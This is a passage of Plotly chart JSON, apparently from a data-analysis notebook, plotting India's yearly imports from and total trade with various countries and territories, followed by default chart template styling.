0.03, - 0 - ] - }, - { - "mode": "lines", - "name": "ANGUILLA", - "type": "scatter", - "x": [ - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 0.01, - 0.14, - 0, - 0, - 0.07, - 0.01, - 0, - 0.18, - 0.19, - 0.1, - 0.18, - 0.03 - ] - }, - { - "mode": "lines", - "name": "ERITREA", - "type": "scatter", - "x": [ - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.25, - 0.99, - 0.99, - 0.34, - 1.48, - 6.47, - 0.17, - 0.75, - 3.62, - 10.9, - 4.85, - 230.68, - 167.45, - 36.41, - 1.96, - 0, - 5.92, - 0, - 0.12 - ] - }, - { - "mode": "lines", - "name": "NIUE IS", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2015", - "2019", - "2020" - ], - "y": [ - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 0.29, - 0.04, - 0, - 0.06, - 0, - 0, - 0.01, - 0.02, - 0, - 0, - 0 - ] - }, - { - "mode": "lines", - "name": "PALAU", - "type": "scatter", - "x": [ - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0, - 0, - 0, - 0.01, - 0.01, - 0.01, - 0.01, - 0.01, - 0, - 0, - 0.01, - 3.7, - 0, - 0.78, - 3.22, - 0, - 0, - 0 - ] - }, - { - "mode": "lines", - "name": "COCOS IS", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2016", - "2020" - ], - "y": [ - 0, - 0, - 0, - 0, - 0, - 0.05, - 0, - 0, - 0, - 0, - 0.02, - 0.05, - 0.02, - 48.88, - 0.03, - 0, - 0, - 0, - 0 - ] - }, - { - "mode": "lines", - "name": "MONACO", - "type": "scatter", - "x": [ - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.01, - 0.94, - 0.09, - 0.17, - 0.96, - 0.33, - 0.99, - 1.41, - 2.75, - 3.23, - 2.17, - 1.71, - 1.53, - 1.11, - 1.07, - 0.27, - 61.5, - 0.01, - 0.36 - ] - }, - { - "mode": "lines", - "name": "CHRISTMAS IS.", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2019" - ], - "y": [ - 0.16, - 0.3, - 0.14, - 0.06, - 0.01, - 0, - 0.04, - 0, - 0.07, - 15.74, - 0.72, - 0.61, - 6.51, - 0.06, - 0, - 0.08, - 0.06, - 0.08, - 0.01 - ] - }, - { - "mode": "lines", - "name": "MICRONESIA", - "type": "scatter", - "x": [ - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0.01, - 0, - 0.02, - 0.02, - 0, - 0, - 0, - 0, - 0, - 0.1, - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 0 - ] - }, - { - "mode": "lines", - "name": "N. MARIANA IS.", - "type": "scatter", - "x": [ - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0, - 0, - 0, - 0.38, - 0.07, - 0.18, - 0.06, - 0, - 0, - 0.15, - 0, - 0.23, - 0.03, - 0.17, - 0.02, - 0, - 0.29, - 0.05 - ] - }, - { - "mode": "lines", - "name": "ST PIERRE", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2012", - "2013", - "2014", - "2017", - "2018" - ], - "y": [ - 0.02, - 0, - 0, - 0, - 0, - 0.1, - 3.56, - 17.81, - 0.03, - 0.02, - 0.05, - 0.01, - 0, - 0, - 0, - 0, - 0 - ] - }, - { - "mode": "lines", - "name": "CANARY IS", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014" - ], - "y": [ - 0, - 0, - 0, - 0, - 0.01, - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 0 - ] - }, - { - "mode": "lines", - "name": "CHANNEL IS", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2011", - "2012", - "2013", - "2014" - ], - "y": [ - 0, - 0.32, - 0.25, - 0.05, - 0.05, - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 0 - ] - }, - { - "mode": "lines", - "name": "ANTARTICA", - "type": "scatter", - "x": [ - "2004", - "2005", - "2007", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0, - 0.01, - 0.07, - 0.08, - 0.45, - 0, - 0.41, - 4.84, - 1.11, - 0.05, - 0.03, - 0.08, - 0.67, - 0.54 - ] - }, - { - "mode": "lines", - "name": "FR S ANT TR", - "type": "scatter", - "x": [ - "97", - "98", - "2000", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2015" - ], - "y": [ - 0.01, - 0, - 0, - 0, - 0, - 0.08, - 0, - 0, - 0, - 0, - 0, - 0.01, - 0, - 0.02, - 0.03 - ] - }, - { - "mode": "lines", - "name": "HEARD MACDONALD", - "type": "scatter", - "x": [ - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2012", - "2013", - "2014", - "2017", - "2018" - ], - "y": [ - 0, - 0, - 0.11, - 0, - 0.03, - 0, - 0, - 0.16, - 0, - 0, - 0, - 0 - ] - }, - { - "mode": "lines", - "name": "PACIFIC IS", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2003", - "2004", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013" - ], - "y": [ - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 0.01, - 0, - 0 - ] - }, - { - "mode": "lines", - "name": "MONTENEGRO", - "type": "scatter", - "x": [ - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.01, - 1.16, - 0.05, - 0.05, - 0.01, - 0.13, - 0.16, - 0.4, - 0.32 - ] - }, - { - "mode": "lines", - "name": "SAN MARINO", - "type": "scatter", - "x": [ - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.64, - 0.33, - 0.52, - 0.39, - 0.64, - 0.21, - 0.15, - 0.08, - 0.06 - ] - }, - { - "mode": "lines", - "name": "SERBIA", - "type": "scatter", - "x": [ - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 3.27, - 23.71, - 22.34, - 27.24, - 24.12, - 21.45, - 11.51, - 7.31, - 7.18 - ] - }, - { - "mode": "lines", - "name": "US MINOR OUTLYING ISLANDS", - "type": "scatter", - "x": [ - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.85, - 0.36, - 0.56, - 0.74, - 0.08, - 0.4, - 0.29, - 0.13 - ] - }, - { - "mode": "lines", - "name": "VATICAN CITY", - "type": "scatter", - "x": [ - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.17, - 0, - 0.02, - 0, - 0.09, - 0.18, - 0.02, - 0 - ] - }, - { - "mode": "lines", - "name": "NEUTRAL ZONE", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2005", - "2007", - "2008", - "2011" - ], - "y": [ - 0, - 0, - 0, - 0, - 0, - 0, - 0 - ] - }, - { - "mode": "lines", - "name": "SOUTH SUDAN", - "type": "scatter", - "x": [ - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.18, - 70.56, - 89.97, - 7.33, - 1.58, - 0.82 - ] - }, - { - "mode": "lines", - "name": "MAYOTTE", - "type": "scatter", - "x": [ - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0, - 0.19, - 0.36, - 0.32, - 0.49 - ] - }, - { - "mode": "lines", - "name": "STATE OF PALEST", - "type": "scatter", - "x": [ - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 1.19, - 0.74, - 0.15, - 0.24 - ] - }, - { - "mode": "lines", - "name": "SINT MAARTEN (DUTCH PART)", - "type": "scatter", - "x": [ - "2016", - "2017", - "2019", - "2020" - ], - "y": [ - 0, - 0, - 0, - 0 - ] - }, - { - "mode": "lines", - "name": "Petroleum Products", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000" - ], - "y": [ - 3345.08, - 0, - 2565.97, - 886.46 - ] - }, - { - "mode": "lines", - "name": "GUERNSEY", - "type": "scatter", - "x": [ - "2017", - "2018", - "2019", - "2020" - ], - "y": [ - 0.23, - 0, - 0, - 0 - ] - }, - { - "mode": "lines", - "name": "INSTALLATIONS IN INTERNATIONAL WATERS", - "type": "scatter", - "x": [ - "2015", - "2016", - "2017" - ], - "y": [ - 0, - 0, - 0 - ] - }, - { - "mode": "lines", - "name": "CURACAO", - "type": "scatter", - "x": [ - "2015", - "2017" - ], - "y": [ - 0, - 0 - ] - }, - { - "mode": "lines", - "name": "JERSEY", - "type": "scatter", - "x": [ - "2017", - "2019" - ], - "y": [ - 0, - 0.14 - ] - }, - { - "mode": "lines", - "name": "SVALLBARD AND J", - "type": "scatter", - "x": [ - "2019" - ], - "y": [ - 0 - ] - } - ], - "layout": { - "legend": { - "tracegroupgap": 0 - }, - "template": { - "data": { - "bar": [ - { - "error_x": { - "color": "#2a3f5f" - }, - "error_y": { - "color": "#2a3f5f" - }, - "marker": { - "line": { - "color": "#E5ECF6", - "width": 0.5 - }, - "pattern": { - "fillmode": "overlay", - "size": 10, - "solidity": 0.2 - } - }, - "type": "bar" - } - ], - "barpolar": [ - { - "marker": { - "line": { - "color": "#E5ECF6", - "width": 0.5 - }, - "pattern": { - "fillmode": "overlay", - "size": 10, - "solidity": 0.2 - } - }, - "type": "barpolar" - } - ], - "carpet": [ - { - "aaxis": { - "endlinecolor": "#2a3f5f", - "gridcolor": "white", - "linecolor": "white", - "minorgridcolor": "white", - "startlinecolor": "#2a3f5f" - }, - "baxis": { - "endlinecolor": "#2a3f5f", - "gridcolor": "white", - "linecolor": "white", - "minorgridcolor": "white", - "startlinecolor": "#2a3f5f" - }, - "type": "carpet" - } - ], - "choropleth": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "type": "choropleth" - } - ], - "contour": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "contour" - } - ], - "contourcarpet": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "type": "contourcarpet" - } - ], - "heatmap": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "heatmap" - } - ], - "heatmapgl": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "heatmapgl" - } - ], - "histogram": [ - { - "marker": { - "pattern": { - "fillmode": "overlay", - "size": 10, - "solidity": 0.2 - } - }, - "type": "histogram" - } - ], - "histogram2d": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "histogram2d" - } - ], - "histogram2dcontour": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "histogram2dcontour" - } - ], - "mesh3d": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "type": "mesh3d" - } - ], - "parcoords": [ - { - "line": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "parcoords" - } - ], - "pie": [ - { - "automargin": true, - "type": "pie" - } - ], - "scatter": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatter" - } - ], - "scatter3d": [ - { - "line": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatter3d" - } - ], - "scattercarpet": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scattercarpet" - } - ], - "scattergeo": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scattergeo" - } - ], - "scattergl": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scattergl" - } - ], - "scattermapbox": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scattermapbox" - } - ], - "scatterpolar": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatterpolar" - } - ], - "scatterpolargl": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatterpolargl" - } - ], - "scatterternary": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatterternary" - } - ], - "surface": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "surface" - } - ], - "table": [ - { - "cells": { - "fill": { - "color": "#EBF0F8" - }, - "line": { - "color": "white" - } - }, - "header": { - "fill": { - "color": "#C8D4E3" - }, - "line": { - "color": "white" - } - }, - "type": "table" - } - ] - }, - "layout": { - "annotationdefaults": { - "arrowcolor": "#2a3f5f", - "arrowhead": 0, - "arrowwidth": 1 - }, - "autotypenumbers": "strict", - "coloraxis": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "colorscale": { - "diverging": [ - [ - 0, - "#8e0152" - ], - [ - 0.1, - "#c51b7d" - ], - [ - 0.2, - "#de77ae" - ], - [ - 0.3, - "#f1b6da" - ], - [ - 0.4, - "#fde0ef" - ], - [ - 0.5, - "#f7f7f7" - ], - [ - 0.6, - "#e6f5d0" - ], - [ - 0.7, - "#b8e186" - ], - [ - 0.8, - "#7fbc41" - ], - [ - 0.9, - "#4d9221" - ], - [ - 1, - "#276419" - ] - ], - "sequential": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "sequentialminus": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ] - }, - "colorway": [ - "#636efa", - "#EF553B", - "#00cc96", - "#ab63fa", - "#FFA15A", - "#19d3f3", - "#FF6692", - "#B6E880", - "#FF97FF", - "#FECB52" - ], - "font": { - "color": "#2a3f5f" - }, - "geo": { - "bgcolor": "white", - "lakecolor": "white", - "landcolor": "#E5ECF6", - "showlakes": true, - "showland": true, - "subunitcolor": "white" - }, - "hoverlabel": { - "align": "left" - }, - "hovermode": "closest", - "mapbox": { - "style": "light" - }, - "paper_bgcolor": "white", - "plot_bgcolor": "#E5ECF6", - "polar": { - "angularaxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - }, - "bgcolor": "#E5ECF6", - "radialaxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - } - }, - "scene": { - "xaxis": { - "backgroundcolor": "#E5ECF6", - "gridcolor": "white", - "gridwidth": 2, - "linecolor": "white", - "showbackground": true, - "ticks": "", - "zerolinecolor": "white" - }, - "yaxis": { - "backgroundcolor": "#E5ECF6", - "gridcolor": "white", - "gridwidth": 2, - "linecolor": "white", - "showbackground": true, - "ticks": "", - "zerolinecolor": "white" - }, - "zaxis": { - "backgroundcolor": "#E5ECF6", - "gridcolor": "white", - "gridwidth": 2, - "linecolor": "white", - "showbackground": true, - "ticks": "", - "zerolinecolor": "white" - } - }, - "shapedefaults": { - "line": { - "color": "#2a3f5f" - } - }, - "ternary": { - "aaxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - }, - "baxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - }, - "bgcolor": "#E5ECF6", - "caxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - } - }, - "title": { - "x": 0.05 - }, - "xaxis": { - "automargin": true, - "gridcolor": "white", - "linecolor": "white", - "ticks": "", - "title": { - "standoff": 15 - }, - "zerolinecolor": "white", - "zerolinewidth": 2 - }, - "yaxis": { - "automargin": true, - "gridcolor": "white", - "linecolor": "white", - "ticks": "", - "title": { - "standoff": 15 - }, - "zerolinecolor": "white", - "zerolinewidth": 2 - } - } - }, - "title": { - "text": "IMPORT to India from Other Countries" - }, - "xaxis": { - "anchor": "y", - "domain": [ - 0, - 1 - ], - "title": { - "text": "Year" - } - }, - "yaxis": { - "anchor": "x", - "domain": [ - 0, - 1 - ], - "title": { - "text": "Import" - } - } - } - }, - "text/html": [ - "
" - ] - }, - "metadata": {}, - "output_type": "display_data" - }, - { - "data": { - "application/vnd.plotly.v1+json": { - "config": { - "plotlyServerURL": "https://plot.ly" - }, - "data": [ - { - "hovertemplate": "Year=%{x}
Total Trade=%{y}", - "legendgroup": "", - "line": { - "color": "#636efa", - "dash": "solid" - }, - "marker": { - "symbol": "circle" - }, - "mode": "lines", - "name": "", - "orientation": "v", - "showlegend": false, - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "xaxis": "x", - "y": [ - 31.95, - 40.95, - 54.26, - 52.45, - 41.89, - 79.23, - 185.98, - 212.44, - 201.09, - 216.48, - 359.18, - 520.47, - 588.74, - 568.44, - 643.41, - 632.18, - 683.1, - 684.47, - 834.5, - 799.24, - 1143.53, - 1150.89, - 1527.42, - 1335.27, - 814.5 - ], - "yaxis": "y" - }, - { - "mode": "lines", - "name": "AFGHANISTAN", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 31.95, - 40.95, - 54.26, - 52.45, - 41.89, - 79.23, - 185.98, - 212.44, - 201.09, - 216.48, - 359.18, - 520.47, - 588.74, - 568.44, - 643.41, - 632.18, - 683.1, - 684.47, - 834.5, - 799.24, - 1143.53, - 1150.89, - 1527.42, - 1335.27, - 814.5 - ] - }, - { - "mode": "lines", - "name": "NICARAGUA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0, - 2.55, - 4.08, - 6.32, - 5.73, - 6.3, - 11.58, - 16.12, - 14.96, - 54.55, - 21.3, - 23.54, - 30.91, - 46.67, - 60.07, - 61.88, - 67.7, - 86.39, - 88.96, - 91.48, - 57.47, - 69.11, - 95.86, - 88.2 - ] - }, - { - "mode": "lines", - "name": "MONTSERRAT", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0, - 0, - 0, - 0, - 0, - 0.37, - 0.42, - 0.31, - 0.2, - 0.17, - 0.21, - 0.13, - 0.53, - 0, - 0, - 0.07, - 0.34, - 0, - 0, - 0, - 0.11, - 0, - 0, - 0 - ] - }, - { - "mode": "lines", - "name": "MOROCCO", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 489.67, - 430.45, - 446.26, - 355.37, - 321.94, - 326.77, - 343.32, - 474.65, - 583.88, - 654.43, - 707.83, - 1191, - 1111.98, - 1158.21, - 2030.55, - 1735.59, - 1264.79, - 1262.56, - 1419.77, - 1166.84, - 1211.95, - 2006.76, - 1751.99, - 1944.44, - 2233.5 - ] - }, - { - "mode": "lines", - "name": "MOZAMBIQUE", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 43.67, - 48.15, - 65.59, - 53.31, - 37.48, - 74.46, - 92.76, - 122.86, - 178.15, - 220.91, - 490.18, - 459.38, - 427.14, - 708.62, - 634.83, - 1292.68, - 1550.22, - 2396.58, - 1604.82, - 1556.26, - 1832.34, - 2170.74, - 3009.38, - 1862.95, - 2803.01 - ] - }, - { - "mode": "lines", - "name": "MYANMAR", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 273.32, - 203.88, - 205.69, - 234.4, - 435.32, - 411.12, - 498.65, - 519.11, - 636.66, - 923.09, - 994.45, - 1150.6, - 1497.77, - 1338.29, - 1926.52, - 1957.35, - 2182.68, - 2004.78, - 2054.92, - 2175.14, - 1605.84, - 1727.1, - 1521.13, - 1299.35, - 1340.42 - ] - }, - { - "mode": "lines", - "name": "NAMIBIA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 1.78, - 13.73, - 3.34, - 3.76, - 10.07, - 8.24, - 7.79, - 7.27, - 35.42, - 21.77, - 61.96, - 96.17, - 104.94, - 92.17, - 74.57, - 66.01, - 225.39, - 142.24, - 84.04, - 140.2, - 106.06, - 135.92, - 94.72, - 81.23, - 138.43 - ] - }, - { - "mode": "lines", - "name": "NAURU RP", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 2.68, - 8.33, - 7.45, - 1.92, - 2.32, - 3.76, - 1.7, - 0.2, - 0.77, - 0.47, - 28.18, - 15.8, - 4.15, - 15.39, - 21.03, - 4.93, - 10.21, - 5.77, - 2.56, - 1.37, - 0.69, - 0.21, - 0.15, - 17.17 - ] - }, - { - "mode": "lines", - "name": "NEPAL", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 265.21, - 267.26, - 339.86, - 395.92, - 570.4, - 632.12, - 955.39, - 1088.97, - 1239.82, - 1233.42, - 2135.98, - 2066.19, - 1985.93, - 2681.47, - 3271.54, - 3631.94, - 4122.23, - 5198.68, - 4373.29, - 5898.72, - 7051.34, - 8274.34, - 7871.95, - 7511.62, - 8191.51 - ] - }, - { - "mode": "lines", - "name": "NETHERLAND", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 1247.58, - 1227.72, - 1356.67, - 1317.63, - 1330.35, - 1433.65, - 1824.67, - 2396.32, - 3524.33, - 3832.96, - 7175.81, - 8263.64, - 8527.56, - 9530.66, - 11769.74, - 12944.11, - 11134.51, - 9127.63, - 6585, - 6965.4, - 8773.76, - 12875.64, - 11757.08, - 9790.53, - 11370.45 - ] - }, - { - "mode": "lines", - "name": "NETHERLANDANTIL", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 6.27, - 0, - 22.8, - 0, - 0, - 11.58, - 0, - 10.99, - 13.95, - 11.37, - 20.13, - 30.66, - 55.79, - 66.7, - 75.6, - 72.84, - 52.2, - 96.46, - 104.82, - 46.77, - 40.22, - 